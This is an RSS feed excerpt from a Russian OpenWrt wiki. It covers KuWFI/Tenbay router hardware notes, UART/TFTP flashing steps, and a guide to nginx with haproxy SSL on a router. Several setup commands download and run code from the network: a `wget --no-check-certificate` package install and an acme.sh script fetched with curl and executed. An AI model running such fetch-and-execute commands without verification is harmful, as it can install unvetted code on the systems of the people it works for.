&lt;h1 class=&quot;sectionedit4&quot; id=&quot;антенны&quot;&gt;Антенны&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
У штатных антенн длинна - 150мм, ширина PCB - 11мм. В штатные корпуса корпус могут влезть антенны шириной не более 13мм и длинной не более 150мм.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u043d\u0442\u0435\u043d\u043d\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u043d\u0442\u0435\u043d\u043d\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;3562-3839&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;качество_работы_wi-fi&quot;&gt;Качество работы Wi-Fi&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Могу сравнить с &lt;strong&gt;Xiaomi Redmi AC2100&lt;/strong&gt;. У него антенны припаяны, а у KuwFi - на разъемах ipex. &lt;br/&gt;

Так вот в одних и тех же непростых условиях (три кирпичные стены) при максимальной мощности в 20dBm (100mW) для обоих диапазонов &lt;strong&gt;AC2100&lt;/strong&gt; показывает уровень соотношения сигнал/шум -64 (2.5GHz) и -71dBm(5GHz), а KuwFi -77dBm (2.5Ghz) и -84dBm (5GHz).&lt;br/&gt;

При увеличении мощности на 5GHz до 22dBm (158mW) уровень сигнала повышавется до -81dBm (региональные настройки - India).
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0430\u0431\u043e\u0442\u044b Wi-Fi&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e_\u0440\u0430\u0431\u043e\u0442\u044b_wi-fi&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;3840-4616&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;измерение_температуры&quot;&gt;Измерение температуры&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Радиочипсет MT7915 имеет встроенные датчики температуры, показания с которых видны так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat /sys/class/ieee80211/phy*/hwmon*/temp1_input&lt;/pre&gt;

&lt;p&gt;
А чтобы увидеть их в Web-интерфейсе LuCi нужно установить пакетик отсюда: &lt;a href=&quot;https://githubmemory.com/repo/gSpotx2f/luci-app-temp-status&quot; class=&quot;urlextern&quot; title=&quot;https://githubmemory.com/repo/gSpotx2f/luci-app-temp-status&quot; rel=&quot;ugc nofollow&quot;&gt;https://githubmemory.com/repo/gSpotx2f/luci-app-temp-status&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget --no-check-certificate -O /tmp/luci-app-temp-status_0.3-5_all.ipk https://github.com/gSpotx2f/packages-openwrt/raw/master/current/luci-app-temp-status_0.3-5_all.ipk
opkg install /tmp/luci-app-temp-status_0.3-5_all.ipk
rm /tmp/luci-app-temp-status_0.3-5_all.ipk
/etc/init.d/rpcd reload&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435 \u0442\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435_\u0442\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;4617-5372&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit7&quot; id=&quot;температурные_режимы&quot;&gt;Температурные режимы&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При отсутствии трафика температура чипа &lt;strong&gt;MT7915E&lt;/strong&gt; в моем девайсе находится в районе 50-53 градуса (при температуре в помещении 22). Под нагрузкой (пара клиентов с iperf в режиме UDP) - в течение часа поднимается до 70-74 градусов. Деградации скорости не наблюдается. &lt;br/&gt;

Клиент-сервер iperf - это еще один роутер под OpenWrt подключенный в режиме беспроводного клиента стандарта N (на нем iperf -s) и компик, подключенный по проводу (на нем iperf -c …). Фактическая скорость по показаниям iperf относительно невысока ~ 40Mbit/sec, поскольку устройство с сервером iperf находится довольно далеко. &lt;br/&gt;

При этом - нагрузка на CPU самого роутера &lt;strong&gt;Tenbay T-MB5EU-V01&lt;/strong&gt; относительно невелика. load average: 0.20, 0.16, 0.13 &lt;br/&gt;

После остановки трафика iperf - температура &lt;strong&gt;MT7915E&lt;/strong&gt; падает с 74 до 68 градусов буквально в течение трех-пяти секунд, что указывает на довольно неплохой теплообмен, а в качестве критической температуры для чипа &lt;strong&gt;MT7915E&lt;/strong&gt; ядро считает значение 110 градусов. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0422\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u043d\u044b\u0435 \u0440\u0435\u0436\u0438\u043c\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0442\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u043d\u044b\u0435_\u0440\u0435\u0436\u0438\u043c\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;5373-7058&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit8&quot; id=&quot;оригинальный_комментарий_к_коммиту_git&quot;&gt;Оригинальный комментарий к коммиту git&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Написано тут: &lt;a href=&quot;https://git.openwrt.org/?p=openwrt/openwrt.git;a=commit;h=51b61fd57059adeb10a3977e00772af2b76dc40b&quot; class=&quot;urlextern&quot; title=&quot;https://git.openwrt.org/?p=openwrt/openwrt.git;a=commit;h=51b61fd57059adeb10a3977e00772af2b76dc40b&quot; rel=&quot;ugc nofollow&quot;&gt;https://git.openwrt.org/?p=openwrt/openwrt.git;a=commit;h=51b61fd57059adeb10a3977e00772af2b76dc40b&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Hardware
--------
MediaTek MT7621 SoC
256M DDR3
16MB BoHong SPI-NOR
MediaTek MT7905+7975 2x2T2R DBDC bgnax / acax
RGB LED
WPS + RESET Button
UART on compute module (silkscreened / 115200n8)

The router itself is just a board with Power / USB / RJ-45 connectors
and DC/DC converters. The SoC and WiFi components are on a
daughterboard which connect using two M.2 connectors.

The compute module has the model number &amp;quot;T-CB1800K-DM2 V02&amp;quot; printed on
it. The main baord has &amp;quot;T-MB5EU V01&amp;quot; printed on it. This information
might be useful, as it&amp;#039;s highly likely either of these two will be
reused in similar designs.

The router itself is sold as Tenbay T-MB5EU directly from the OEM as
well as &amp;quot;KuWFI AX1800 Smart WiFi 6 Eouter&amp;quot; on Amazon.de for ~50€ in a
slightly different case.

Installation
------------

A Tool for creating a factory image for the Vendor Web Interface can be
found here: https://github.com/blocktrron/t-mb5eu-v01-factory-creator/

As the OEM Firmware is just a modified LEDE 17.01, you can also access
failsafe mode via UART while the OS boots, by connecting to UART
and pressing &amp;quot;f&amp;quot; when prompted. The Router is reachable at
192.168.1.1 via root without password.

Transfer the OpenWrt sysupgrade image via scp and apply with sysupgrade
using the -n and -F flags.

Alternatively, the board can be flashed by attaching to the UART
console, interrupting the boot process by keeping &amp;quot;0&amp;quot; pressed while
attaching power.

Serve the OpenWrt initramfs using a TFTP server with address
192.168.1.66. Rename the initramfs to ax1800.bin.

Attach your TFTP server to one of the LAN ports. Execute the following
commands.

 $ setenv ipaddr 192.168.1.67
 $ setenv serverip 192.168.1.66
 $ tftpboot 0x84000000 ax1800.bin
 $ bootm

Wait for the device to boot. Then transfer the OpenWrt sysupgrade image
to the device using SCP and apply sysupgrade.&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u043a \u043a\u043e\u043c\u043c\u0438\u0442\u0443 git&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439_\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439_\u043a_\u043a\u043e\u043c\u043c\u0438\u0442\u0443_git&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;7059-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 28 Dec 2021 10:23:43 +0000</pubDate>
        </item>
        <item>
            <title>mainpage</title>
            <link>https://wiki.autosys.tk/openwrt/mainpage</link>
            <description>
&lt;div&gt;&lt;div id=&quot;nojs_indexmenu_83831078369ea748428231&quot; data-jsajax=&quot;&amp;group=1&quot; class=&quot;indexmenu_nojs&quot;&gt;
&lt;ul class=&quot;idx&quot;&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/flash_xiaomi_redmi_ac2100&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:flash_xiaomi_redmi_ac2100&quot; data-wiki-id=&quot;openwrt:flash_xiaomi_redmi_ac2100&quot;&gt;flash_xiaomi_redmi_ac2100&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/get_bad_ips_from_log&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:get_bad_ips_from_log&quot; data-wiki-id=&quot;openwrt:get_bad_ips_from_log&quot;&gt;get_bad_ips_from_log&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/kuwfi-ax1800-tenbay-t-mb5eu-v01&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:kuwfi-ax1800-tenbay-t-mb5eu-v01&quot; data-wiki-id=&quot;openwrt:kuwfi-ax1800-tenbay-t-mb5eu-v01&quot;&gt;kuwfi-ax1800-tenbay-t-mb5eu-v01&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/nginx_ssl_without_nginx_rebuilding&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:nginx_ssl_without_nginx_rebuilding&quot; data-wiki-id=&quot;openwrt:nginx_ssl_without_nginx_rebuilding&quot;&gt;nginx_ssl_without_nginx_rebuilding&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/openwrt_crosscompiling&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:openwrt_crosscompiling&quot; data-wiki-id=&quot;openwrt:openwrt_crosscompiling&quot;&gt;openwrt_crosscompiling&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/openwrt_lede_dns_over_https_tls&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:openwrt_lede_dns_over_https_tls&quot; data-wiki-id=&quot;openwrt:openwrt_lede_dns_over_https_tls&quot;&gt;openwrt_lede_dns_over_https_tls&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/openwrt_wifi_bridge&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:openwrt_wifi_bridge&quot; data-wiki-id=&quot;openwrt:openwrt_wifi_bridge&quot;&gt;openwrt_wifi_bridge&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/phicomm_k2g_sectec_st-w52-in-dual&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:phicomm_k2g_sectec_st-w52-in-dual&quot; data-wiki-id=&quot;openwrt:phicomm_k2g_sectec_st-w52-in-dual&quot;&gt;phicomm_k2g_sectec_st-w52-in-dual&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/script_for_installing_packages_after_sysupgrade&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:script_for_installing_packages_after_sysupgrade&quot; data-wiki-id=&quot;openwrt:script_for_installing_packages_after_sysupgrade&quot;&gt;script_for_installing_packages_after_sysupgrade&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/tl-mr3020&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:tl-mr3020&quot; data-wiki-id=&quot;openwrt:tl-mr3020&quot;&gt;tl-mr3020&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/wireguard_tunnel&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:wireguard_tunnel&quot; data-wiki-id=&quot;openwrt:wireguard_tunnel&quot;&gt;wireguard_tunnel&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/xiaomi-ax3600&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:xiaomi-ax3600&quot; data-wiki-id=&quot;openwrt:xiaomi-ax3600&quot;&gt;xiaomi-ax3600&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/xiaomi_4a_gigabit_dvb4397cn&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:xiaomi_4a_gigabit_dvb4397cn&quot; data-wiki-id=&quot;openwrt:xiaomi_4a_gigabit_dvb4397cn&quot;&gt;xiaomi_4a_gigabit_dvb4397cn&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/%D0%B4%D0%B5%D0%BB%D0%B0%D0%B5%D0%BC-%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D0%BD%D0%B5%D1%82-%D1%80%D0%B0%D0%B4%D0%B8%D0%BE&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:делаем-интернет-радио&quot; data-wiki-id=&quot;openwrt:делаем-интернет-радио&quot;&gt;делаем-интернет-радио&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/%D0%BA%D0%B0%D0%BA-%D0%BF%D1%80%D0%BE%D1%88%D0%B8%D1%82%D1%8C-%D1%84%D0%B8%D1%80%D0%BC%D0%B2%D0%B0%D1%80%D1%8C-openwrt-%D0%B8%D0%B7-%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%BD%D0%BE%D0%B8-%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B8&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:как-прошить-фирмварь-openwrt-из-команднои-строки&quot; data-wiki-id=&quot;openwrt:как-прошить-фирмварь-openwrt-из-команднои-строки&quot;&gt;как-прошить-фирмварь-openwrt-из-команднои-строки&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-aircrack-ng-%D0%BD%D0%B0-vera3-lite&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:установка-aircrack-ng-на-vera3-lite&quot; data-wiki-id=&quot;openwrt:установка-aircrack-ng-на-vera3-lite&quot;&gt;установка-aircrack-ng-на-vera3-lite&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BF%D0%B0%D0%BA%D0%B5%D1%82%D0%BE%D0%B2_%D0%BD%D0%B0_%D1%84%D0%BB%D0%B5%D1%88%D0%BA%D1%83_%D0%BF%D1%80%D0%B8_%D0%BD%D0%B5%D1%85%D0%B2%D0%B0%D1%82%D0%BA%D0%B5_%D0%BC%D0%B5%D1%81%D1%82%D0%B0_%D0%B1%D0%B5%D0%B7_%D0%BF%D0%B5%D1%80%D0%B5%D0%BD%D0%BE%D1%81%D0%B0_%D1%80%D1%83%D1%82%D0%B0&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:установка_пакетов_на_флешку_при_нехватке_места_без_переноса_рута&quot; data-wiki-id=&quot;openwrt:установка_пакетов_на_флешку_при_нехватке_места_без_переноса_рута&quot;&gt;установка_пакетов_на_флешку_при_нехватке_места_без_переноса_рута&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/openwrt/%D1%84%D0%BB%D0%B5%D1%85%D0%B0-%D0%B2-openwrt-attitude-ajustment&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:флеха-в-openwrt-attitude-ajustment&quot; data-wiki-id=&quot;openwrt:флеха-в-openwrt-attitude-ajustment&quot;&gt;флеха-в-openwrt-attitude-ajustment&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:28 +0000</pubDate>
        </item>
        <item>
            <title>nginx_ssl_without_nginx_rebuilding</title>
            <link>https://wiki.autosys.tk/openwrt/nginx_ssl_without_nginx_rebuilding</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Мне понадобилось сделать &lt;strong&gt;reverse proxy&lt;/strong&gt; с поддержкой &lt;strong&gt;SSL&lt;/strong&gt; на роутере с &lt;strong&gt;OpenWrt LEDE 18.06&lt;/strong&gt;. &lt;br/&gt;

Предвосхищая вопрос “зачем?” - для бекапа я пользуюсь неплохим бесплатным хостингом, который отказывается работать с некоторыми доменными зонами. В частности - &lt;strong&gt;.tk&lt;/strong&gt;. В качестве практически бесплатного решения - я решил перенаправить трафик через мой домашний роутер со статическим внешним &lt;strong&gt;IP&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-712&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;ssl_штатными_пакетами_openwrt&quot;&gt;SSL штатными пакетами OpenWrt&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В репозитории &lt;strong&gt;OpenWrt&lt;/strong&gt; есть &lt;strong&gt;nginx&lt;/strong&gt;, однако он собран без поддержки &lt;strong&gt;SSL&lt;/strong&gt;. Многие мануалы, для поддержки &lt;strong&gt;SSL&lt;/strong&gt; рекомендуют пересобрать пакет &lt;strong&gt;nginx&lt;/strong&gt; с нужными фичами. &lt;br/&gt;

Я пошел другим путем и выяснил, что для решения этой задачи можно обойтись только пакетами из репозитория &lt;strong&gt;OpenWrt&lt;/strong&gt;, возложив функцию шифрования трафика на &lt;strong&gt;haproxy&lt;/strong&gt;. &lt;br/&gt;

Итак - &lt;strong&gt;nginx&lt;/strong&gt; будет &lt;strong&gt;revese proxy&lt;/strong&gt;, а &lt;strong&gt;haproxy&lt;/strong&gt; будет шифровать &lt;strong&gt;SSL&lt;/strong&gt;. Поехали. Попутно - получим сертификаты &lt;strong&gt;Let&amp;#039;s Encrypt&lt;/strong&gt;&lt;br/&gt;

Предварительно нужно изменить порт на котором работает штатный web-интерфейс &lt;strong&gt;OpenWrt&lt;/strong&gt;. Для этого отредактируем файлик &lt;strong&gt;/etc/config/uhttpd&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;SSL \u0448\u0442\u0430\u0442\u043d\u044b\u043c\u0438 \u043f\u0430\u043a\u0435\u0442\u0430\u043c\u0438 OpenWrt&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;ssl_\u0448\u0442\u0430\u0442\u043d\u044b\u043c\u0438_\u043f\u0430\u043a\u0435\u0442\u0430\u043c\u0438_openwrt&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;713-1789&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;ставим_пакеты&quot;&gt;Ставим пакеты&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Ставим пакеты из консоли, либо из web-интерфейса.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;opkg update
opkg install nginx haproxy luci-ssl-openssl curl ca-bundle nano&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0442\u0430\u0432\u0438\u043c \u043f\u0430\u043a\u0435\u0442\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0442\u0430\u0432\u0438\u043c_\u043f\u0430\u043a\u0435\u0442\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1790-1995&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;конфигурация_nginx&quot;&gt;Конфигурация nginx&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;strong&gt;/etc/nginx/nginx.conf&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;user nobody nogroup;
worker_processes  1;

events {
    worker_connections  1024;
}

http {
    include       mime.types;
    sendfile        on;
    keepalive_timeout  65;

    server {
    listen 80 default_server;
       return 444;
    }

    server {
        listen       80;
        server_name  wiki.autosys.tk;

        location /.well-known/acme-challenge/ {
            root   /www;
        }

        location / {
                proxy_pass http://redmike.unaux.com:80;
        }
        location /cgi-bin/ {
                proxy_pass http://127.0.0.1:8080;
                proxy_set_header Host $host;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_set_header X-Real-IP $remote_addr;
        }
        location /luci-static/ {
                proxy_pass http://127.0.0.1:8080;
                proxy_set_header Host $host;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_set_header X-Real-IP $remote_addr;
        }

    }
}&lt;/pre&gt;

&lt;p&gt;
Перезапускаем &lt;strong&gt;nginx&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/etc/init.d/nginx restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f nginx&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f_nginx&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1996-3186&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;получаем_сертификат&quot;&gt;Получаем сертификат&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Будем получать сертификат &lt;strong&gt;Let&amp;#039;s Encrypt&lt;/strong&gt; с помощью &lt;strong&gt;acme.sh&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl https://raw.githubusercontent.com/Neilpang/acme.sh/master/acme.sh &amp;gt; acme.sh
chmod a+x &amp;quot;acme.sh&amp;quot;
./acme.sh --install
cd /root/.acme.sh
DOMAIN=wiki.autosys.tk
./acme.sh --issue -d $DOMAIN -w /www&lt;/pre&gt;

&lt;p&gt;
Если все прошло без ошибок, то объединяем сертификат и ключ в файл &lt;strong&gt;.pem&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat /root/.acme.sh/wiki.autosys.tk/wiki.autosys.tk.cer /root/.acme.sh/wiki.autosys.tk/wiki.autosys.tk.key &amp;gt; /root/wiki.autosys.tk.pem&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;3187-3811&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;конфигурация_haproxy&quot;&gt;Конфигурация haproxy&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
В конфигурации &lt;strong&gt;haproxy&lt;/strong&gt; прописан сертификат, который мы получили на предыдущем этапе&lt;br/&gt;

&lt;br/&gt;

&lt;strong&gt;/etc/haproxy.cfg&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;global
    maxconn 4096

defaults
    mode    http
    option forwardfor
    option http-server-close
    option  httplog
    option  dontlognull
    retries 3
    option redispatch
    maxconn 2000
    timeout connect     5000
    timeout client     50000
    timeout server     50000
    #default-server init-addr none

frontend www-https
    bind *:443 ssl crt /root/wiki.autosys.tk.pem
    reqadd X-Forwarded-Proto:\ https

    # Define hosts
    acl host_wiki hdr(host) -i wiki.autosys.tk

    ## figure out which one to use
    use_backend wiki-backend if host_wiki
    default_backend wiki-backend

backend wiki-backend
    redirect scheme https if !{ ssl_fc }
    server wiki-node1 127.0.0.1:80 check&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f haproxy&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f_haproxy&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;3812-&amp;quot;} --&gt;</description>
